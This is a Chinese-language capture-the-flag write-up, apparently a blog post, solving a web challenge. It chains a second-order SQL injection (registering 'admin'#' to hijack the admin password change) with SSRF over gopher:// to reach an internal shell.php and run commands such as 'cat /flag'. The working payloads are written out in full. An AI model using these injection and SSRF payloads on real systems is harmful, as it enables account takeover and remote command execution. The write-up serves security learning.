前言:
话不多说,开干
正文部分:
一.二次注入,获取admin的权限
![](https://img-blog.csdnimg.cn/direct/b252cd94dc954d11882c6c237ced4d95.png)
才开始,我看了题目的提示,就和题目对着干,一直在登陆和注册界面进行sql注入尝试,sqlmap梭哈了好几次,都没有进展,就去看来其他大佬的wp,才发现是二次注入
1.我们先用dirsearch扫描目录
先进入shell.php看一下
看着像是SSRF,但是还是需要admin的权限
2.下载www.zip
没有头绪,使用Seay进行代码审计
好像扫出来很多漏洞,还是没有头绪,又看了大佬的wp
在此处存在二次注入:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
如果我们注册的用是admin'#的话,sql语句就变成了这样
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass' ";
'#后面的部分就被注释掉了
这样思路就清晰了:
先注册用admin'#,再去更改密码,这样我们就可以用admin用户登陆了
二.SSRF
登陆后,又得到的下面的的信息,那我就去这个页面看看
访问http://61.147.171.105:53502/xinan/public/55ceedfbc97b0a81277a55506c34af36.php
payload:?url=gopher://127.0.0.1:80/
看着网页会显得很慢很慢,我就感觉肯定是SSRF了
,再加上我们之前得到的shell.php,可以执行system()函数
就有思路:
我们现在是admin(内网人员),我在通过gopher协议访问到shell.php,在通过传参cmd,使用system()函数
1. 访问到shell.php
payload:?url=gopher://127.0.0.1:80/_GET /xinan/public/shell.php
2.传参cmd执行system()函数
payload:?url=gopher://127.0.0.1:80/_GET /xinan/public/shell.php%253Fcmd=ls%2b/
%253F是?进行了两次URL编码所得
%2b是 + 进行了一次URL编码所得
3.查看flag
payload:
?url=gopher://127.0.0.1:80/_GET /xinan/public/shell.php%253Fcmd=cat%2b/flag
总结:
这题主要考了二次注入和SSRF的内容,中间存在很多过滤,是一道中等难度的题,认真做的话对学习还是有很大用的